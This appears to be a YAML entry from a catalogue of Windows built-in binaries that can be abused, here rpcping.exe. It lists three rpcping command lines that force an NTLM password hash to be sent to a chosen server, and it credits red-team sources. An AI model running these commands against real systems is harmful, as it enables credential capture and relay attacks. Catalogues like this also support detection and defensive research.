---
Name: Rpcping.exe
Description: Credentials
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
  - Command: rpcping -s 127.0.0.1 -t ncacn_np
    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
  - Command: rpcping -s 192.168.1.10 -ncacn_np
    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
  - Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
    Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
Full Path:
  - C:\Windows\System32\rpcping.exe
  - C:\Windows\SysWOW64\rpcping.exe
Code Sample: []
Detection: []
Resources:
  - https://twitter.com/subtee/status/872797890539913216
  - https://github.com/vysec/RedTips
  - https://twitter.com/vysecurity/status/974806438316072960
  - https://twitter.com/vysecurity/status/873181705024266241
Notes: Thanks to Casey Smith - @subtee, Vincent Yiu - @vysecurity